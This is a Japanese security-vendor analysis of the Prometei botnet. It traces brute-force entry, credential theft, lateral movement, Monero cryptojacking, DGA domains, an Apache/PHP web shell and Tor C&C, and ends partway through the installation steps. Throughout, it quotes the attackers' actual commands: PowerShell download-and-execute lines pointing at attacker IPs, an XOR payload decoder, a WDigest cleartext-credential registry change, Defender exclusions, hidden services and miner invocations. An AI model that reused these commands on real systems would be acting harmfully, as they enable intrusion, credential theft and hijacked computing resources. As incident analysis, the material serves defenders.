サイバー脅威
ボットネット「Prometei」の攻撃手口をMXDRチームが解明
ボットネット「Prometei」による情報窃取やクリプトジャック攻撃の手口、その対策について、トレンドマイクロMXDRチームによるTrend Vision Oneを駆使した分析結果を交え、詳しく解説します。
概要
- ボットネット「Prometei」は、標的型ブルートフォース攻撃と見られる活動において、顧客システムへの侵入手段として利用されています。
- トレンドマイクロのMXDR(Managed Extended Detection and Response)チームでは、Trend Vision Oneによって当該活動を早期に検知し、緩和措置を取ることに成功しました。
- Prometeiのステルス戦略を俯瞰的に把握することで、ボットネットのインストールから稼働に至る手順が細部に渡って解明されました。
はじめに
最近に入りトレンドマイクロのMXDR(Managed Extended Detection and Response)チームでは、顧客環境内にボットネット「Prometei」が拡散する事例に対応し、「Trend Vision One™」による詳細な分析を行いました。Prometeiは、より大きなボットネットの一部として稼働し、標的端末上での遠隔操作やマルウェアの配備、攻撃活動の調整機能を提供します。
ボットネット「Prometei」はモジュラー構造のマルウェアファミリに属し、不正な暗号資産マイニング(Moneroなど)や認証情報の窃取に利用されてきました。Prometeiが最初に報告されたのは2016年のことであり、2022年にバージョン3が出現しました。2023年初頭には、ブラジルやインドネシア、トルコでの攻勢が強まり、世界各地の10,000を超えるシステムが被害に遭いました。本攻撃の特徴として、遠隔操作(C&C:Command and Control)のインフラに「ドメイン生成アルゴリズム(DGA:Domain Generation Algorithm)」が用いられる他、セキュリティ回避のために自己更新機能が取り込まれています。
Prometeiは、「BlueKeep」と呼ばれる脆弱性(CVE-2019-0708)やMicrosoft Exchangeサーバの脆弱性(CVE-2021-27065、CVE-2021-26858)を用いて標的環境上で拡散し、PowerShellスクリプトによって攻撃用ペイロードを取得します。最近の報告によると、PHPのWebシェルを同梱したApache Webサーバを配備することにより、永続化の効果も高められています。本ボットネットは、さまざまなコンポーネントが格納された圧縮アーカイブをダウンロードして用いることで、標的端末を支配し、防御側の対策にも素早く対応します。
本稿では、Prometeiのバージョン3.22に相当する検体の解析結果について、初期アクセスから最終的な活動に至る過程を含めて解説します。
初期アクセス
本調査のきっかけは、下記に示す外部IPアドレスからの不審なログイン試行であり、認証失敗の挙動として立て続けに記録されました。
196[.]7[.]210[.]6
196[.]7[.]209[.]178
この挙動は、ネットワークに対するブルートフォース攻撃の可能性があるため、直ちに調査を開始しました。トレンドマイクロの脅威インテリジェンスによると、両IPアドレスとも、Prometeiとの繋がりがあります。
IPアドレス「196[.]7[.]210[.]6」と「196[.]7[.]209[.]178」の双方とも、Prometeiのインフラと密接な関係があります。例えば、当該のIPと、以前Prometeiのものとして報告されたIPを比べると、1レベルのピボットで繋がっていることが分かります。こうした攻撃キャンペーンの分類を正しく行うことで、適切な対処法を見出し、継続的に対応していくことが可能となります。
また、類似のIPアドレスが、Prometeiに属するさまざまな亜種にハードコーディングされています。この点からも、強い繋がりが示唆されます。
攻撃者による標的端末へのログイン試行は幾度かに渡って失敗したものの、最終的には成功したことが判明しました。続いて攻撃者は、リモートデスクトップ・プロトコル(RDP:Remote Desktop Protocol)やSMB(Server Message Block)の脆弱性を利用し、Prometeiをシステム内に拡散させました。
この後、被害システム内に複数のファイルが作成されました。
- C:\Windows\uplugplay
- C:\Windows\netwalker
- C:\Windows\updates1.7z
- C:\Windows\updates2.7z
- C:\Windows\mshlpda32.dll
- C:\Windows\7z.exe
上記ファイルは、フォルダ「C:\Windows\dell\」や「C:\Windows\」の配下に作成されました。このうち、アーカイブ「updates1.7z」と「updates2.7z」には似たような内容が含まれ、7-Zipツール「7z.exe」によって抽出されました。抽出対象ファイルの一覧を、下記に示します。
- sqhost.exe
- libssp-0.dll
- libcrypto-1_1.dll
- windrlver.exe
- miWalk64.exe
- miWalk32.exe
アーカイブ内のファイル「sqhost.exe」は、Prometeiボットのメイン・バイナリに相当し、追加コンポーネントを作成する他、さまざまなC&Cサーバに接続して数多くのファイルをダウンロードします。また、自身を「C:\Windows\zsvc.exe」にリネーム・コピーして使用する場合もあれば、「C:\Windows\zsvc.exe」のまま維持する場合もあります。起動すると、自身の通信を許可するファイアウォール・ルールの設定や、サービス「UPlugPlay」の自動起動設定など、システム関連のコマンドを実行します。これによって本マルウェアは、検知を回避すると同時に、システムの再起動後も稼働を続けるようになります。一連のコマンドを、下記に示します。
C:\Windows\System32\cmd.exe /C netsh advfirewall firewall add rule name="Secure Socket Tunneling Protocol (HTTP)" dir=in action=allow program="c:\windows\sqhost.exe" enable=yes&netsh firewall add allowedprogram c:\windows\sqhost.exe "Secure Socket Tunneling Protocol (HTTP)" ENABLE
C:\Windows\System32\cmd.exe cmd.exe /C sc start UPlugPlay
C:\Windows\System32\cmd.exe /C ren C:\windows\zsvc.exe sqhost.exe
C:\Windows\System32\cmd.exe /C sc config UPlugPlay start= auto
C:\Windows\System32\cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPlugPlay" /v ImagePath /f /t REG_EXPAND_SZ /d "c:\windows\sqhost.exe Dcomsvc"
C:\Windows\System32\cmd.exe /C sc delete UPlugPlay&sc create UPlugPlay binPath= "c:\windows\sqhost.exe Dcomsvc" type= own DisplayName= "UPlug
cmd.exe /c sc query UPlugPlay
C:\Windows\System32\cmd.exe /C copy /y "c:\windows\zsvc.exe" C:\windows
認証情報の窃取
本攻撃では、認証プロトコル「WDigest」を変更することで、認証情報をシステム・メモリに平文で保存するコマンドが使用されました。最近のWindowsシステムでは通常、セキュリティを考慮してWDigestが無効化されています。しかし、今回の攻撃者は、オプション「UseLogonCredential」を指定することで、パスワードを平文状態で保存させました。
"C:\Windows\System32\cmd.exe" /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /f /t REG_DWORD /d 1
アーカイブに含まれるバイナリ「C:\Windows\dell\miwalk.exe」は、被害端末から認証情報を窃取し、ファイル「C:\Windows\dell\ssldata2.dll」に書き出しました。当該ファイルは、他の不正なコンポーネントとともに、ネットワーク上に転送されました。
また、フォルダ「C:\Windows」と「C:\Windows\Dell」をWindows Defenderの監視対象外に追加するPowerShellコマンドが発見されました。これは、不正なファイルの検知を回避するための手口です。
cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows"&powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows\Dell"
水平移動・内部活動
水平移動・内部活動やリモート実行の手段として、「wmiprvse.exe (WMIプロバイダ・ホスト)」が使用されました。親プロセスとして「wmiprvse.exe」が存在することは、WMI操作によってスクリプトが実行されたことを示唆します。本スクリプトは、メソッド「WriteAllText 」や 「AppendAllText 」を呼び出し、さまざまなペイロードをフォルダ「C:\windows」の配下に保存しました。ペイロードの拡張子は「.b64」であり、その中身はBase64でエンコードされています。これらのペイロードは、後続の活動に使用される可能性があります。
powershell [io.file]::AppendAllText('C:\windows\uplugplay.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::AppendAllText('C:\windows\updates1.7z.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::AppendAllText('C:\windows\updates2.7z.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::AppendAllText('C:\windows\7z.dll.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::AppendAllText('C:\windows\7z.exe.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::AppendAllText('C:\windows\winhlpx64.exe.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::AppendAllText('C:\Windows\zsvc.exe.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\uplugplay.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\updates1.7z.b64', '{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\updates2.7z.b64', '{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\7z.dll.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\netwalker.b64', '{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\winhlpx64.exe.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText ('C:\Windows\zsvc.exe.b64','{Base64でエンコードされた文字列}');
powershell [io.file]::WriteAllText('C:\windows\ssldata2.dll.b64',' {Base44でエンコードされた文字列}');
続いて別のスクリプトが、Base64でエンコード済みのファイル(*.b64)をデコードし、その内容を新規のファイルに書き出します。さらに、元のエンコード済みファイルを削除した上で、新規ファイルのサイズを出力します。例として、ファイル「uplugplay.b64」をデコードした結果は、新規のファイル「uplugplay」に書き込まれます。
processCmd: powershell $f='C:\windows\uplugplay.b64';$o='C:\windows\uplugplay';$data=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($f));[io.file]::WriteAllBytes($o,$data);Remove-Item $f;Write-Host (Get-Item $o).length;
下記のファイルについても、似たようなコマンドの使用が確認されました。
- C:\Windows\7z.dll
- C:\Windows\7z.exe
- C:\Windows\mshlpda32.dll
- C:\Windows\netwalker.b64
- C:\Windows\ssldata2.dll
- C:\Windows\updates1.7z
- C:\Windows\updates2.7z
- C:\Windows\uplugplay.b64
- C:\Windows\winhlpx64.exe
- C:\Windows\zsvc.exe
追加コンポーネントのダウンロード
追加コンポーネントのダウンロード用スクリプトを解析したところ、下記のURLからファイルをダウンロードし、「C:\windows\zsvc.exe」として保存することが分かりました。
http://103.40[.]123[.]34/k.php?B=_AMD64,PSDN0020,504K45A188441R4UE
続いて本スクリプトは、「zsvc.exe」の内容をXOR演算に基づく独自の方式で復号し、それをPowerShellのコマンド「Start-Process」経由で起動します。
cmd /C echo 123>C:\Windows\mshlpda32.dll&powershell $p='C:\windows\zsvc.exe';(New-Object Net.WebClient).DownloadFile('http://103.40.123.34/k.php?B=_AMD64,PSDN0020,504K45A188441R4UE',$p);$d=[IO.File]::ReadAllBytes($p);$t=New-Object Byte[]($d.Length);[int]$j=0;for([int]$i=0;$i -lt $d.Length;$i++){$j+=66;$t[$i]=(($d[$i] -bxor ($i*3 -band 255))-$j) -band 255;}[io.file]::WriteAllBytes($p,$t);Start-Process $p;
この後、sqhost.exeが外部IPアドレス「88.198.246[.]242」に接続し、別のPowerShellスクリプト「prometei.cgi」をダウンロードします。このスクリプトは、追加モジュールの取得に使用されます。
以上の他にも、sqhost.exeはさまざまな処理を実行したことが判明しました。まず、ファイル「7z.dll」が存在するかを確認し、存在しない場合は、下記URLから7-Zipのファイル管理ツール「7z32.dll」をダウンロードします。
http://103.41.204[.]104/7z32.dll
続いて、圧縮・展開ツール「7z.exe」を探します。見つからない場合は、上記と同様のURLから「7z32.exe」を取得します。最後に、先ほどのファイルが見つかったかどうかに関係なく、下記URLからアーカイブ「std.7z」をダウンロードします。
http://103.41.204[.]104/std2.7z
アーカイブ「std2.7z」には、攻撃用の追加コンポーネントが格納されています。
powershell.exe "if(-not (Test-Path '7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://103[.]41[.]204[.]104/7z32.dll','7z.dll');}if(-not (Test-Path '7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204[.]104/7z32.exe','7z.exe');} (New-Object Net.WebClient).DownloadFile('http://103.41.204[.]104/std2.7z','std.7z');"
ダウンロードしたファイルについては、SHA-1ハッシュ値をチェックし、ファイルの完全性を検証します。
sqhost.exe /sha1chk 962F3D0B35B9FF68CDBA31A039EAD12B5789E7F6 std.7z
sqhost.exe /sha1chk 344FAF61C3EB76F4A2FB6452E83ED16C9CCE73E0 7z.dll
sqhost.exe /sha1chk 20FEA1314DBED552D5FEDEE096E2050369172EE1 7z.exe
この後、7z.exeを利用し、先にダウンロード済みのアーカイブ「std.7z」や「std2.7z」を展開します。
"C:\Windows\dell\7z.exe" x std.7z -phorhor123 -y
以上の他、リモートサーバからファイル「walker.ini」をダウンロードし、フォルダ「C:\windows\dell」に保存するスクリプトも発見されました。
"C:\Windows\System32\cmd.exe" /c C:\windows\sqhost /chkxwget http://103.41.204[.]104/dwn.php?d=walker.ini C:\windows\dell\walker.ini
上記、「sqhost」の直後に来るコマンド「chkxwget」は、Webベースのダウンロード機能を担うと考えられます。
ファイル「Socks.exe」は、RDP通信を扱います。具体的には、パスワードの候補一覧をファイル「.cpass」から読み取り、それを用いてRDPによるログインを試みます。成功した場合は、当該のパスワードをファイル「.cpass_good」に保存します。
下記コマンドは、「systeminfo」の機能によってシステム情報を収集し、結果をファイル「C:\Windows\temp\setup_gitlog.txt」に書き出します。さらに、GoogleのDNS(8.8.8.8)にpingリクエストを送信し、結果を同じファイルに追記します。
"C:\Windows\System32\cmd.exe" /c systeminfo>>C:\Windows\temp\setup_gitlog.txt&ping 8.8.8.8>>C:\Windows\temp\setup_gitlog.txt
拡散の手口
本調査では、下記に示すボットネットや、その拡散用モジュールが特定されました。これらのモジュールは、Prometeiをネットワーク上に配布する機能を担います。
C:\Windows\winhlpx64.exe
C:\Windows\dell\rdpcIip.exe
また、バイナリファイル「C:\Windows\dell\rdpcIip.exe」を実行する不審なコマンドが発見されました。本コマンドにはBase64でエンコードされた文字列が含まれ、これをデコードすると、不正な処理と考えられるバイナリデータが表出しました。
Base64でエンコードされた文字列を含むコマンド
"C:\Windows\dell\rdpcIip.exe" stat goodDKEST596AVIX7H8Z6scCw9coJGnHm0LKfZ+f8e1NRPLcpEhf4yr+mX0=
デコード後の文字列
'\x1d\x0c\x12Oz\x01R\x17\x7f\x19\x02($iǛB}MDܤH_*}'
rdpclip.exeは、はじめに下記のIPアドレスに接続しました。
187[.]79.243.171
次に、下記のファイルを作成しました。その中身は、ボットネットが外部サーバに接続する際の設定データなどであると考えられます。
C:\Windows\dell\net196[.]7.210.160.map
さらにrdpclip.exeは、「nethelper」という名前の実行ファイルを起動しました。nethelperは、.NETで作られた水平移動・内部活動ツールであり、ネットワーク環境内からSQLサーバを探し出し、接続を試みます。接続に成功した場合、当該サーバ内にsqhost.exeのインストールを試みます。
"C:\Windows\dell\nethelper4.exe" 103.41.204[.]104 10.0.0.254:443 2AA19BFA
"C:\Windows\dell\nethelper4.exe" 103.41.204[.]104 10.17.0.42:5432 "C:\Windows\dell\10.17.0.42"
SSH接続
被害環境から検出された不審なSSH(Secure Shell)接続を分析したところ、実行ファイル「windrlver.exe 」が外部IPのポート番号「22」に接続していたことが判明しました。攻撃者は、高いアクセス権限を行使して秘匿性の高いSSH接続を用いることで、機密情報のアップロードやコマンドの実行を含むリモート操作の隠蔽を図ったものと推測されます。
"C:\windows\dell\windrlver.exe" ssh 180.169.1[.]207:22 "C:\windows\dell\180.169.1.207" 155.207.200.242 HV
"C:\Windows\dell\windrlver.exe" ssh 10.17.0[.]254:22 "C:\Windows\dell\10.17.0.254" 103.41.204.104 HL
"C:\windows\dell\windrlver.exe" ssh 134.88.5[.]200:22 "C:\windows\dell\134.88.5.200" 103.40.123.34 HV
"C:\windows\dell\windrlver.exe" ssh 187.133.137[.]81:22 "C:\windows\dell\187.133.137.81" 103.40.123.34 HV
クリプトジャック
本攻撃によって感染した端末は、被害者に知らせることなく暗号資産マイニングプールに接続し、暗号資産「Monero」のマイニングを行います。こうした攻撃は「クリプトジャック」と呼ばれ、被害に遭ったシステムでは、不正な暗号資産獲得のために計算リソースが食い潰されます。
p2.feefreepool[.]net 88.198.246[.]242:80
暗号資産マイニングのペイロードは、アーカイブ「srch.7z」に含まれる形で配布され、「SearchIndexer.exe」の名前で保存されます。この名前は、正規のツール「Windows Search Indexer」に扮したものです。ペイロードの配備を担うコマンドは、はじめにPowerShellを用いてファイル「SearchIndexer.exe」の存在をチェックします。存在しない場合は、URL「http://103.41.204[.]104」からアーカイブ「srch.7z」をダウンロードします。続いて、sqhost.exeを用いてダウンロード済みファイルのSHA-1チェックサムを算出し、下記の期待値に一致するかをチェックします。一致する場合は、パスワード「horhor123」を用いてsrch.7zを展開し、ペイロード本体「SearchIndexer.exe」を抽出します。さらに、元の「srch.7z」を削除することで、活動の痕跡を消去します。
9280B1466527CB5B22C77C6CF42A3085A68DD326
"C:\Windows\System32\cmd.exe" /C powershell.exe "if(-not (Test-Path 'SearchIndexer.exe')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204.104/srch.7z','srch.7z');}"&sqhost.exe /sha1chk 9280B1466527CB5B22C77C6CF42A3085A68DD326 srch.7z&7z x srch.7z -phorhor123 -y&del srch.7z
暗号資産マイナーの設定情報は、C&Cサーバからダウンロードされるテキストファイル「desktop.txt」を介して提供され、下記のパスに保存されます。
C:\Windows\dell\desktop.dat
Base64でエンコードされた文字列を含むコマンド
"C:\Windows\System32\cmd.exe" /c powershell.exe "$d=[System.Convert]::FromBase64String('LW8gc3RyYXR1bSt0Y3A6Ly8xNDUuMjM5LjIwMC45MjozMzMzIC0tZG9uYXRlLWxldmVsIDEgLXAgeCAtdSBpZA==');[io.file]::WriteAllBytes('C:\Windows\dell\Desktop.dat',$d);"
デコード後の文字列
-o stratum+tcp://145.239.200.92:3333 --donate-level 1 -p x -u id
暗号資産マイニングのペイロード「SearchIndexer.exe」は、マイニングプールのポート番号「3333」にStratumプロトコルで接続し、「Donation Level(寄付レベル)」を「1」に設定してマイニングを行います。
"C:\Windows\dell\SearchIndexer.exe" -o stratum+tcp://142.4.205[.]155:80 --donate-level 1 -p x -u id
"C:\Windows\dell\SearchIndexer.exe" -o stratum+tcp://89.163.213[.]192:3333 --donate-level 1 -p x -u id
"C:\Windows\dell\SearchIndexer.exe" -o stratum+tcp://145.239.200[.]92:3333 --donate-level 1 -p x -u id
ドメイン生成アルゴリズム(DGA:Domain Generation Algorithm)
ドメインの分析結果に基づくと、今回の攻撃では、替えの効くC&Cインフラの構築手段としてDGAが利用されています。DGAは、数多くのドメイン名をランダムに生成するものです。攻撃者から見ると、仮にドメインの一部がセキュリティ対応などでブロックされたとしても、他のドメインが残るため、自身のサーバとPrometeiの通信を存続させる有力な手段となります。今回使用されたドメイン名は、特定のパターン(「xinchaocace 」や 「xinchaobjce 」から始まる)に従い、そこにさまざまな接尾辞(.com、.net、.org)が付与されています。本マルウェアは、こうしたドメインを動的に生成することで、ドメインベースのセキュリティ検知やブロックを妨害し、標的システムに対する支配力の維持を図っていると考えられます。
- xinchaocacebm[.]com
- xinchaocacebd[.]com
- xinchaocacebi[.]com
- xinchaocacebj[.]com
- xinchaocacebp[.]net
- xinchaocacebi[.]net
- xinchaocacebd[.]net
- xinchaocacebo[.]org
- xinchaobjcebl[.]com
- xinchaobjcebk[.]com
- xinchaobjcebb[.]com
- Xinchaobjcebf[.]com
- xinchaobjcebj[.]net
- xinchaobjcebi[.]net
- xinchaobjcebe[.]org
- xinchaobjcebn[.]org
ランダム生成したドメイン名の解決には、GoogleのDNSサーバ(8.8.8.8)が使用されます。コマンド「nslookup」によって当該サーバへの照会が行われている様子を、下図に示します。
Webシェルの配備
sqhost.exeは、複数のPowerShellコマンドによってApache Webサーバをダウンロードし、Webシェルとして稼働するように設定します。攻撃者は、このWebシェルを介して不正な操作を実行します。
"C:\Windows\System32\cmd.exe" /C del C:\Windows\dell\AppServ.zip&powershell.exe -nologo -noprofile -command "new-item C:\Windows\dell -itemtype directory;if(-not (Test-Path 'C:\windows\dell\7z.dll')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204[.]104/7z32.dll', 'C:\Windows\dell\7z.dll');}if(-not (Test-Path 'C:\windows\dell\7z.exe')) {(New-Object Net.WebClient).DownloadFile('http://103.41.204.104/7z32.exe', 'C:\Windows\dell\7z.exe');}if(-not (Test-Path 'C:\ProgramData\Microsoft\AppServ\www\index.php')) {(New-Object Net.WebClient).DownloadFile('http://45.194.35[.]180:180/AppServ180.zip', 'C:\Windows\dell\AppServ.zip');} new-item C:\ProgramData\Microsoft\AppServ -itemtype directory;new-item C:\ProgramData\Microsoft\AppServ\cgi-bin -itemtype directory"&sqhost.exe /sha1chk 20FEA1314DBED552D5FEDEE096E2050369172EE1 C:\windows\dell\7z.exe&sqhost.exe /sha1chk 344FAF61C3EB76F4A2FB6452E83ED16C9CCE73E0 C:\windows\dell\7z.dll&sqhost.exe /sha1chk de16ad97be7fefcd7b830413e7d4d56ef96fb02b C:\windows\dell\AppServ.zip&C:\windows\dell\7z x C:\Windows\dell\AppServ.zip -oC:\ProgramData\Microsoft\AppServ -y
本スクリプトの処理内容を、下記に示します。
- フォルダ「C:\Windows\dell」配下のファイル「AppServ.zip」を削除する。これは、前回の活動履歴を消去するためと考えられる。
- フォルダ「C:\Windows\dell」や「C:\ProgramData\Microsoft\AppServ」が存在しない場合、PowerShellによって新規作成する。
- 下記ファイルがまだ存在しない場合は、ダウンロードする。
- 7z32.dll(URL「http://103.41.204[.]104/7z32.dll」から取得)
- 7z32.exe(URL「http://103.41.204[.]104/7z32.exe」から取得)
- AppServ180.zip(URL「http://45.194.35[.]180:180/AppServ180.zip」から取得)
- ダウンロードしたファイルのSHA-1チェックサムを算出し、下記の期待値に一致するか確認する。
- 7z.exe:20FEA1314DBED552D5FEDEE096E2050369172EE1
- 7z.dll:344FAF61C3EB76F4A2FB6452E83ED16C9CCE73E0
- AppServ.zip:de16ad97be7fefcd7b830413e7d4d56ef96fb02b
- 7z.exeを使用し、アーカイブ「AppServ.zip」の中身をフォルダ「C:\ProgramData\Microsoft\AppServ」に展開する。
また、ファイル「ssimple.php」を「Shell-{ランダムな12文字}」の形式でリネームするPowerShellコマンドが発見されました(例:Shell-abc123def456.php)。こうしたファイル名のランダム化は、セキュリティ検知を回避し、Webシェルの追跡調査を妨害するためと考えられます。
cmd.exe /C powershell "$chars = 'abcdefghijkmnopqrstuvwxyz123456789'.ToCharArray(); $rnd=''; 1..12 | ForEach { $rnd+=$chars | Get-Random }; $s='Shell-'+$rnd+'.php';$r='C:\ProgramData\Microsoft\AppServ\www\'+$s;Rename-Item -Path 'C:\ProgramData\Microsoft\AppServ\www\ssimple.php' -NewName $r; Write-Host $s;
また、新規のWindowsサービス「KtmRmSvc」が登録され、システム再起動時に下記バイナリファイルが自動稼働するように設定されました。
C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe
これにより、taskhost.exeが標的システム内で永続化し、Webシェルによる不正操作の経路が強固に保持されます。
cmd.exe /C sc create KtmRmSvc binPath= "C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe -k runservice" start= auto
Apache Webサーバを本稼働させるにあたり、本マルウェアは、taskhost.exeに扮したファイアウォール・ルールを作成します。このルールは、「Secure Socket Tunneling Protocol(HTTP)」という紛らわしい名前を用いてtaskhost.exeの受信トラフィックを許可し、さらに、ファイアウォール経由の実行ファイルを許可することで、その効果を強めています。さらに本マルウェアは、アクセス権を考慮してPHP設定ファイル「php.ini」を「C:\Windows」にコピーします。また、先述のサービス「KtmRmSvc」を開始することで、taskhost.exeを実行します。一連の操作は、不正な活動を隠蔽すると同時に、攻撃用サーバとの通信環境を整え、標的システムに対する支配力を持続させるものです。
netsh advfirewall firewall add rule name="Secure Socket Tunneling Protocol (HTTP)" dir=in action=allow program="C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe" enable=yes&netsh firewall add
allowedprogram C:\ProgramData\Microsoft\AppServ\Apache2.2\bin\taskhost.exe "Secure Socket Tunneling Protocol (HTTP)" ENABLE© C:\ProgramData\Microsoft\AppServ\php5\php.ini C:\Windows&sc start KtmRmSvc
今回は、Trend Vision Oneの応答アクションにより、Webシェルが格納されたアーカイブ「AppServ180.zip」の取得に成功しました。その機能を詳細に把握するため、アーカイブ内のファイルを解析しました。
本アーカイブには、下記のフォルダが含まれます。
- Apache2.2:Apache Webサーバのポータブル版
- php5:PHPインストール・セットのポータブル版
- www:Webシェルで使用するファイル(「ssimple.php」や「Shell-{ランダム文字}.php」の格納先フォルダ
Webシェル(「ssimple.php」や「Shell-{ランダム文字}.php」)を解析したところ、その主要な機能として、下記の2点が確認されました。
- コマンドの実行:本Webシェルは、PHPの関数「system」を使用し、サーバ上で任意のコマンドを実行できる。
- ファイルのアップロード:侵害済みサーバへのファイル・アップロードをサポートする。
こうした機能の組み合わせにより、攻撃者は標的システムを遠隔から操作し、不正なファイルを追加で配備できるようになります。
匿名化ネットワーク「Tor」
下記の実行ファイルに絡むコマンドを分析したところ、匿名ネットワーク「Tor」の「.onion URL」に接続し、C&C接続を確立することが判明しました。接続先アドレスはPrometeiに紐づくものであり、Base64でエンコードされています。
C:\Windows\dell\msdtc.exe
Base64でエンコードされた文字列を含むコマンド
msdtc.exe aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9OSZpPU44UTRZOTBPOVRUNDZNWEc=
msdtc.exe aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9MyZpPTlBRjJIWUoyNDBJRlI0VUc=
msdtc.exe aHR0cHM6Ly9nYjduaTVyZ2VleGRjbmNqLm9uaW9uL2NnaS1iaW4vcHJvbWV0ZWkuY2dpP3I9MyZpPTQ2VjI3OUFJTjUzSDUyUVo=
デコード後の文字列
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi?r=9&i=N8Q4Y90O9T4MXH
https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi?r=3&i=9AF2HYJ240IFR4UG
上述の機能と対を成すのが、Torリレーとして稼働する実行ファイル「Smcard.exe」です。本ファイルは、標的システムをTorネットワークに繋げ、ローカルホストのポート「9001」と「443」を介したSOCKSプロキシを開始します。
"C:\Windows\dell\smcard.exe" --nt-service "-f" "C:\Windows\dell\torrc"
Prometeiのインストール処理
Prometeiのインストール処理や、関連するファイルの働きを、下図に示します。
zsvc.exe/sqhost.exe(インストールモードで起動)
- 追加パラメータなしで起動すると、ボットネットの初期インストーラとして稼働する。
- 本インストーラは、「UPX」によって圧縮された状態で配布される。独自のツールによって展開され、ボットネット本体のコードが抽出される。
- 当該の展開ツールは、システム内にファイル「mshlpda32.dll」が存在するかを確認する。
- 存在しない場合、下記の偽装操作を実行する。
- ファイル「C:\Windows\Temp\setup_gitlog.txt」を作成する。
- コマンドを実行する:C:\Windows\System32\cmd.exe /c systeminfo>>C:\Windows\temp\setup_gitlog.txt&ping 8.8.8.8>>C:\Windows\temp\setup_gitlog.txt
- 現在のプロセスを停止する。
- 存在する場合、下記の処理によってボットネット本体のコードを抽出する。
- 当該のファイル「mshlpda32.dll」から1バイトを読み込む。
- 読み取った1バイトとのXOR演算により、ボットネット本体のコードを復号する。
- 存在しない場合、下記の偽装操作を実行する。
- ボットネット本体のコードを抽出した後、ボットネットがまだシステム中にインストールされていないことを確認する。
- 管理者権限でインストールする場合、下記の処理を行う。
- ボットネットがダウンロードしたモジュールの格納先フォルダとして、「C:\Windows\dell」を作成する。
- レジストリキー「HKEY_LOCAL_MACHINE\SOFTWARE\Intel\Support」を新規に作成し、その配下にC&C通信関連のレジストリ値「MachineKeyId」、「EncryptedMachineKeyId」、「CommId」を格納する。
- レジストリキー「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fax」の配下にある「CommId」の値をチェックする。
- null以外の値が設定されている場合、ボットネットは新規レジストリキーの代わりに本レジストリキーを使用し、先述同様のレジストリ値を格納する。
- 自身の起動パラメータをチェックする。
- インストールモードの場合は、主に下記の操作を実行する。
- 自身をフォルダ「C:\Windows」にコピーする。
- C:\Windows\System32\cmd.exe /C copy /y "{マルウェアのフォルダ}\zsvc.exe" C:\windows
- 既存のサービス「UPlugPlay」を削除し、同名のサービスを新規に作成する。
- C:\Windows\System32\cmd.exe /C sc delete UPlugPlay&sc create UPlugPlay binPath= "c:\windows\sqhost.exe Dcomsvc" type= own DisplayName= "UPlug-and-Play Host" start= auto error= ignore
- C:\Windows\System32\cmd.exe /C sc config UPlugPlay start= auto
- C:\Windows\System32\cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPlugPlay" /v ImagePath /f /t REG_EXPAND_SZ /d "c:\windows\sqhost.exe Dcomsvc"
- 自身の名前を「sqhost.exe」に変更する。
- C:\Windows\System32\cmd.exe /C ren C:\windows\zsvc.exe sqhost.exe
- サービス「UPlugPlay」を開始する。
- C:\Windows\System32\cmd.exe cmd.exe /C sc start UPlugPlay
- sqhost.exeがHTTP接続を確立できるように、ファイアウォール・ルールを編集する。
- C:\Windows\System32\cmd.exe /C netsh advfirewall firewall add rule name="Secure Socket Tunneling Protocol (HTTP)" dir=in action=allow program="c:\windows\sqhost.exe" enable=yes&netsh firewall add allowedprogram c:\windows\sqhost.exe "Secure Socket Tunneling Protocol (HTTP)" ENABLE
- 自身をフォルダ「C:\Windows」にコピーする。
- 管理者権限なしでインストールする場合、下記の処理を行う。
- サービス「UPlugPlay」の状態を確認する。
- 自身のコピーをフォルダ「%AppData%\intel\roaming」の配下に「sqhost.exe」の名前で作成する。
- "C:\Windows\System32\cmd.exe" /C copy /y "{マルウェアのフォルダ}\zsvc.exe" "%AppData%\intel\sqhost.exe"
- 永続化のため、カレントユーザの自動起動レジストリキー「CurrentVersion\Run」に、自身を追加する。
- "C:\Windows\System32\cmd.exe" /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v UPlugPlay /t REG_SZ /d "c:\users\dyituser_764\appdata\roaming\intel\sqhost.exe Dcomsvc" /f
- 自身のコピーをパラメータ「Dcomsvc」付きで起動する。
- 管理者権限でインストールする場合、下記の処理を行う。
- インストール作業の完了後、処理を終了する。
sqhost.exe(本処理モードで起動)
- sqhost.exeとzsvc.exeは同一ファイルであるため、同じ方式で圧縮されている(UPXでの圧縮、独自ツールによる展開)。
